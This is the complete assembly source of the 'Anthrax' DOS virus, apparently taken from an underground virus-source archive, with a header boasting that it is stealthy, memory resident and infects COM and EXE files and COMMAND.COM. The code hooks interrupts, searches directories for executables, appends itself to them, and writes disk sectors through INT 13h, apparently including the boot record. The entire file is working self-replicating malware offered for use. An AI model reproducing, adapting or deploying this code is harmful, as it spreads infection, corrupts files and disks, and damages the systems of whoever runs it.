Underground/Underground CD1.iso/virii/zrodla/a/anthrax.asm

Assembly Source File | 1998-01-14 | 11.6 KB | 450 lines

;**************************************************************************
;**                        ANTHRAX VIRUS                                 **
;**      Created: 2 Jan 90           Programmer: (c) Damage, Inc.        **
;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected**
;**               by Scan (McAfee & Assc.) And does copy itself to *.COM **
;**               *.EXE and the Command.Com and is Memory Resident!      **
;**                                                                      **
;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer!    **
;**                                                                      **
;**************************************************************************

.286p

DATA_1E        EQU    46CH            ; (0000:046C=2DH)
DATA_2E        EQU    4            ; (65AC:0004=0)
DATA_3E        EQU    7            ; (65AC:0007=0)
DATA_10E    EQU    5FEH            ; (65AC:05FE=0)

SEG_A        SEGMENT    BYTE PUBLIC
        ASSUME    CS:SEG_A, DS:SEG_A


        ORG    100h

ANTHRAX        PROC    FAR

START:
        JMP    LOC_24            ; (043B)
        DB    13 DUP (0)
        DB    95H, 8CH, 0C8H, 2DH, 0, 0
        DB    0BAH, 0, 0, 50H, 52H, 1EH
        DB    33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH
        DB    0, 0B8H, 0CDH, 0, 8CH, 0CAH
        DB    87H, 44H, 44H, 87H, 54H, 46H
        DB    52H, 50H, 0C4H, 1CH, 0B4H, 13H
        DB    0CDH, 2FH, 6, 53H, 0B4H, 13H
        DB    0CDH, 2FH, 58H, 5AH, 87H, 4
        DB    87H, 54H, 2, 52H, 50H, 51H
        DB    56H, 0A0H, 3FH, 4, 0A8H, 0FH
        DB    75H, 6CH, 0EH, 7, 0BAH, 80H
        DB    0, 0B1H, 3, 0BBH, 77H, 6
        DB    0B8H, 1, 2, 50H, 0CDH, 13H
        DB    58H, 0B1H, 1, 0BBH, 0, 4
        DB    0CDH, 13H, 0EH, 1FH, 0BEH, 9BH
        DB    3, 8BH, 0FBH, 0B9H, 5EH, 0
        DB    56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH
        DB    0B9H, 62H, 0, 56H, 0F3H, 0A4H
        DB    5FH, 0BEH, 12H, 8, 0B9H, 65H
        DB    0, 0F3H, 0A4H, 74H, 1EH, 89H
        DB    4DH, 0E9H, 0B1H, 5CH, 89H, 4DH
        DB    9BH, 88H, 6DH, 0DCH, 0B1H, 2
        DB    33H, 0DBH, 0B8H, 2, 3, 0CDH
        DB    13H, 49H, 0BBH, 0, 4, 0B8H
        DB    1, 3, 0CDH, 13H, 49H, 0B4H
        DB    19H, 0CDH, 21H, 50H, 0B2H, 2
        DB    0B4H, 0EH, 0CDH, 21H, 0B7H, 2
        DB    0E8H, 87H, 1, 5AH, 0B4H, 0EH
        DB    0CDH, 21H, 5EH, 1FH, 8FH, 4
        DB    8FH, 44H, 2, 8FH, 44H, 44H
        DB    8FH, 44H, 46H, 1FH, 1EH, 7
        DB    95H, 0CBH
copyright    DB    '(c) Damage, Inc.'
        DB    0, 0B0H, 3, 0CFH, 6, 1EH
        DB    57H, 56H, 50H, 33H, 0C0H, 8EH
        DB    0D8H, 0BEH, 86H, 0, 0EH, 7
        DB    0BFH, 8, 6, 0FDH, 0ADH, 0ABH
        DB    0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH
        DB    74H, 11H, 1EH, 7, 0AFH, 0B8H
        DB    7, 1, 0ABH, 8CH, 0C8H, 0ABH
        DB    8EH, 0D8H, 0BFH, 68H, 0, 0A5H
        DB    0A5H, 58H, 5EH, 5FH, 1FH, 7
        DB    2EH, 0FFH, 2EH, 0, 6, 6
        DB    1EH, 57H, 56H, 52H, 51H, 53H
        DB    50H, 0EH, 1FH, 0BEH, 6, 6
        DB    33H, 0C9H, 8EH, 0C1H, 0BFH, 84H
        DB    0, 0A5H, 0A5H, 0B4H, 52H, 0CDH
        DB    21H, 26H, 8BH, 47H, 0FEH, 8EH
        DB    0D8H, 0BBH, 3, 0, 3, 7
        DB    40H, 8EH, 0D8H, 81H, 7, 80H
        DB    0, 0EH, 7, 0B7H, 12H, 0E8H
        DB    0F2H, 0, 58H, 5BH, 59H, 5AH
        DB    5EH, 5FH, 1FH, 7, 2EH, 0FFH
        DB    2EH, 6, 6

LOC_RET_1:
        RETN
        DB    91H, 0AEH, 0B4H, 0A8H, 0BFH
        DB    20H, 31H, 39H, 39H, 30H

ANTHRAX        ENDP

;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                   SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

SUB_1        PROC    NEAR
        MOV    AX,3D00H
        INT    21H            ; DOS Services  ah=function 3Dh
                        ;  open file, al=mode,name@ds:dx
        JC    LOC_RET_1        ; Jump if carry Set
        XCHG    AX,BX
        MOV    AX,1220H
        INT    2FH            ; Multiplex/Spooler al=func 20h
        PUSH    BX
        MOV    BL,ES:[DI]
        MOV    AX,1216H
        INT    2FH            ; Multiplex/Spooler al=func 16h
        POP    BX
        MOV    SI,462H
        MOV    DX,SI
        MOV    CL,18H
        MOV    AH,3FH            ; '?'
        INT    21H            ; DOS Services  ah=function 3Fh
                        ;  read file, cx=bytes, to ds:dx
        XOR    AX,CX
        JNZ    LOC_7            ; Jump if not zero
        PUSH    ES
        POP    DS
        MOV    BYTE PTR [DI+2],2
        XOR    DX,DX            ; Zero register
LOC_2:
        IN    AL,DX            ; port 0, DMA-1 bas&add ch 0
        CMP    AL,10H
        JB    LOC_2            ; Jump if below
        ADD    AX,[DI+11H]
        ADC    DX,[DI+13H]
        AND    AL,0F0H
        CMP    AX,0FB00H
        JAE    LOC_7            ; Jump if above or =
        MOV    [DI+15H],AX
        MOV    [DI+17H],DX
        PUSH    CS
        POP    DS
        PUSH    AX
        MOV    CL,10H
        DIV    CX            ; ax,dx rem=dx:ax/reg
        SUB    AX,[SI+8]
        MOV    CX,AX
        SUB    AX,[SI+16H]
        MOV    DS:DATA_2E,AX        ; (65AC:0004=0)
        LODSW                ; String [si] to ax
        XOR    AX,5A4DH
        JZ    LOC_3            ; Jump if zero
        XOR    AX,1717H
LOC_3:
        PUSHF                ; Push flags
        JNZ    LOC_4            ; Jump if not zero
        MOV    [SI],AX
        CMP    AX,[SI+0AH]
        XCHG    AX,[SI+12H]
        MOV    DS:DATA_3E,AX        ; (65AC:0007=0)
        MOV    [SI+14H],CX
        MOV    CX,4DCH
        JZ    LOC_5            ; Jump if zero
        ADD    WORD PTR [SI+8],48H
LOC_4:
        MOV    CX,65H
LOC_5:
        PUSH    CX
        MOV    CX,39BH
        MOV    AH,40H            ; '@'
        INT    21H            ; DOS Services  ah=function 40h
                        ;  write file cx=bytes, to ds:dx
        XOR    CX,AX
        POP    CX
        JNZ    LOC_6            ; Jump if not zero
        MOV    DX,400H
        MOV    AH,40H            ; '@'
        INT    21H            ; DOS Services  ah=function 40h
                        ;  write file cx=bytes, to ds:dx
        XOR    CX,AX
LOC_6:
        POP    DX
        POP    AX
LOC_7:
        JNZ    LOC_11            ; Jump if not zero
        MOV    ES:[DI+15H],CX
        MOV    ES:[DI+17H],CX
        PUSH    DX
        POPF                ; Pop flags
        JNZ    LOC_9            ; Jump if not zero
        MOV    AX,ES:[DI+11H]
        MOV    DX,ES:[DI+13H]
        MOV    CH,2
        DIV    CX            ; ax,dx rem=dx:ax/reg
        TEST    DX,DX
        JZ    LOC_8            ; Jump if zero
        INC    AX
LOC_8:
        MOV    [SI],DX
        MOV    [SI+2],AX
        JMP    SHORT LOC_10        ; (0328)
LOC_9:
        MOV    BYTE PTR [SI-2],0E9H
        ADD    AX,328H
        MOV    [SI-1],AX
LOC_10:
        MOV    CX,18H
        LEA    DX,[SI-2]        ; Load effective addr
        MOV    AH,40H            ; '@'
        INT    21H            ; DOS Services  ah=function 40h
                        ;  write file cx=bytes, to ds:dx
LOC_11:
        OR    BYTE PTR ES:[DI+6],40H    ; '@'
        MOV    AH,3EH            ; '>'
LOC_12:
        INT    21H            ; DOS Services  ah=function 3Eh
                        ;  close file, bx=file handle
        RETN
SUB_1        ENDP


;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
;                   SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄

SUB_2        PROC    NEAR
        MOV    DS,CX
        MOV    BL,DS:DATA_1E        ; (0000:046C=34H)
        PUSH    CS
        POP    DS
        INC    DATA_7            ; (65AC:045E=0FC00H)
        MOV    DX,64BH
        CALL    SUB_3            ; (036D)
        MOV    SI,60AH
        MOV    BYTE PTR [SI],5CH    ; '\'
        INC    SI
        XOR    DL,DL            ; Zero register
        MOV    AH,47H            ; 'G'
        INT    21H            ; DOS Services  ah=function 47h
                        ;  get present dir,drive dl,1=a:
        MOV    DX,39BH
LOC_13:
        MOV    AH,3BH            ; ';'
        INT    21H            ; DOS Services  ah=function 3Bh
                        ;  set current dir, path @ ds:dx
        JCXZ    LOC_14            ; Jump if cx=0
        MOV    AH,51H            ; 'Q'
        INT    21H            ; DOS Services  ah=function 51h
                        ;  get active PSP segment in bx
        MOV    DS,BX
        MOV    DX,80H

;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀

SUB_3:
        MOV    AH,1AH
        JMP    SHORT LOC_12        ; (0339)
LOC_14:
        JC    LOC_17            ; Jump if carry Set
        MOV    SI,39CH
        XOR    DL,DL            ; Zero register
        MOV    AH,47H            ; 'G'
        INT    21H            ; DOS Services  ah=function 47h
                        ;  get present dir,drive dl,1=a:
        CMP    CH,BYTE PTR DS:[3DCH]    ; (65AC:03DC=81H)
LOC_15:
        MOV    CL,32H            ; '2'
        MOV    DX,29DH
        MOV    AH,4EH            ; 'N'
        JZ    LOC_20            ; Jump if zero
        INT    21H            ; DOS Services  ah=function 4Eh
                        ;  find 1st filenam match @ds:dx
        JC    LOC_17            ; Jump if carry Set
LOC_16:
        MOV    DX,64BH
        MOV    AX,4F01H
        MOV    SI,3DCH
        MOV    DI,668H
        STOSB                ; Store al to es:[di]
        MOV    CL,0DH
        REPE    CMPSB            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
        JZ    LOC_20            ; Jump if zero
        CMP    CH,[DI-2]
        JE    LOC_20            ; Jump if equal
        INT    21H            ; DOS Services  ah=function 4Fh
                        ;  find next filename match
        JNC    LOC_16            ; Jump if carry=0
        XOR    AL,AL            ; Zero register
        JMP    SHORT LOC_15        ; (0380)
        DB    2AH, 2EH, 2AH, 0
LOC_17:
        MOV    CL,41H            ; 'A'
        MOV    DI,39CH
        CMP    CH,[DI]
        MOV    AL,CH
        MOV    BYTE PTR DS:[3DCH],AL    ; (65AC:03DC=81H)
        JZ    LOC_23            ; Jump if zero
        REPNE    SCASB            ; Rep zf=0+cx >0 Scan es:[di] for al
        DEC    DI
        MOV    CL,41H            ; 'A'
        MOV    AL,5CH            ; '\'
        STD                ; Set direction flag
        REPNE    SCASB            ; Rep zf=0+cx >0 Scan es:[di] for al
        LEA    SI,[DI+2]        ; Load effective addr
        MOV    DI,3DCH
        CLD                ; Clear direction
LOC_18:
        LODSB                ; String [si] to al
        TEST    AL,AL
        STOSB                ; Store al to es:[di]
        JNZ    LOC_18            ; Jump if not zero
        MOV    DX,2CDH
        XOR    CL,CL            ; Zero register
        JMP    SHORT LOC_13        ; (035E)
        DB    2EH, 2EH, 0
LOC_19:
        MOV    DX,64BH
        MOV    AH,4FH            ; 'O'
LOC_20:
        INT    21H            ; DOS Services  ah=function 4Fh
                        ;  find next filename match
        JC    LOC_17            ; Jump if carry Set
DATA_6        DW    69BEH
        DB    6, 0BFH, 0DCH, 3, 80H, 3CH
        DB    2EH, 74H, 0ECH, 88H, 2DH, 8BH
        DB    0D6H, 0F6H, 44H, 0F7H, 10H, 75H
        DB    0DBH
LOC_21:
        LODSB                ; String [si] to al
        TEST    AL,AL
        STOSB                ; Store al to es:[di]
        JNZ    LOC_21            ; Jump if not zero
        DEC    SI
        STD                ; Set direction flag
        LODSW                ; String [si] to ax
        LODSW                ; String [si] to ax
        CLD                ; Clear direction
        CMP    AX,4558H
        JE    LOC_22            ; Jump if equal
        CMP    AX,4D4FH
        JNE    LOC_19            ; Jump if not equal
LOC_22:
        PUSH    BX
        CALL    SUB_1            ; (0262)
        POP    BX
        XOR    CX,CX            ; Zero register
        MOV    ES,CX
        MOV    AL,ES:DATA_1E        ; (0000:046C=38H)
        PUSH    CS
        POP    ES
        SUB    AL,BL
        CMP    AL,BH
        JB    LOC_19            ; Jump if below
LOC_23:
        MOV    DX,80H
        MOV    CL,3
        MOV    BX,200H
        MOV    AX,301H
        INT    13H            ; Disk  dl=drive 0: ah=func 03h
                        ;  write sectors from mem es:bx
        MOV    DX,60AH
        JMP    LOC_13            ; (035E)
SUB_2        ENDP

LOC_24:
        XCHG    AX,BP
        MOV    DI,100H
        MOV    BX,[DI+1]
        SUB    BX,228H
        MOV    AX,DI
        LEA    SI,[BX+3FDH]        ; Load effective addr
        MOVSW                ; Mov [si] to es:[di]
        MOVSB                ; Mov [si] to es:[di]
        XCHG    AX,BX
        MOV    CL,4
        SHR    AX,CL            ; Shift w/zeros fill
        MOV    CX,DS
        ADD    AX,CX
        MOV    DX,0BH
        JMP    SHORT LOC_26        ; (04CD)
        DB    0B8H, 0D0H
DATA_7        DW    0FC00H
DATA_8        DW    8587H
        DB    68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H
        DB    0F7H, 0A3H, 86H, 0, 0ABH, 8EH
        DB    0D8H, 0B4H, 8, 0CDH, 13H, 49H
        DB    49H, 0A1H, 0E9H, 3, 84H, 0E4H
        DB    74H, 1, 91H, 0B2H, 80H, 0B8H
        DB    3, 3, 0CDH, 13H, 91H, 84H
        DB    0E4H, 75H, 2
        DB    2CH, 40H
LOC_25:
        DEC    AH
        MOV    DATA_6,AX        ; (65AC:03E9=69BEH)
        INC    DATA_8            ; (65AC:0460=8587H)
        XOR    DH,DH            ; Zero register
        MOV    CX,1
        MOV    BX,400H
        MOV    AX,301H
        INT    13H            ; Disk  dl=drive ?: ah=func 03h
                        ;  write sectors from mem es:bx
        MOV    DL,DH
        RETF                ; Return far
        DB    41H, 4EH, 54H, 48H, 52H, 41H
        DB    58H, 0EH, 1FH, 83H, 2EH, 13H
        DB    4, 2, 0CDH, 12H, 0B1H, 6
        DB    0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0
        DB    4, 0BEH, 0, 7CH, 0B9H, 0
        DB    1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H
        DB    8EH, 0D8H, 0BAH, 27H, 4
LOC_26:
        PUSH    CX
        PUSH    BX
        PUSH    AX
        PUSH    DX
        RETF                ; Return far
        DB    8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H
        DB    5

LOCLOOP_27:
        ADD    SI,0EH
        LODSW                ; String [si] to ax
        CMP    AL,80H
        JE    LOC_29            ; Jump if equal
        LOOP    LOCLOOP_27        ; Loop if cx > 0

LOC_28:
        INT    18H            ; ROM basic
LOC_29:
        XCHG    AX,DX
        STD                ; Set direction flag
        LODSW                ; String [si] to ax
        XCHG    AX,CX
        MOV    AX,201H
        INT    13H            ; Disk  dl=drive a: ah=func 02h
                        ;  read sectors to memory es:bx
        CMP    WORD PTR DS:DATA_10E,0AA55H    ; (65AC:05FE=0)
        JNE    LOC_28            ; Jump if not equal
        PUSH    ES
        PUSH    DS
        POP    ES
        POP    DS
        XOR    DH,DH            ; Zero register
        MOV    CX,2
        XOR    BX,BX            ; Zero register
        MOV    AX,202H
        INT    13H            ; Disk  dl=drive a: ah=func 02h
                        ;  read sectors to memory es:bx
        JMP    $-10FH
        DB    0, 0, 0, 0, 0CDH, 20H
        DB    0CCH
        DB    112 DUP (1AH)

SEG_A        ENDS



        END    START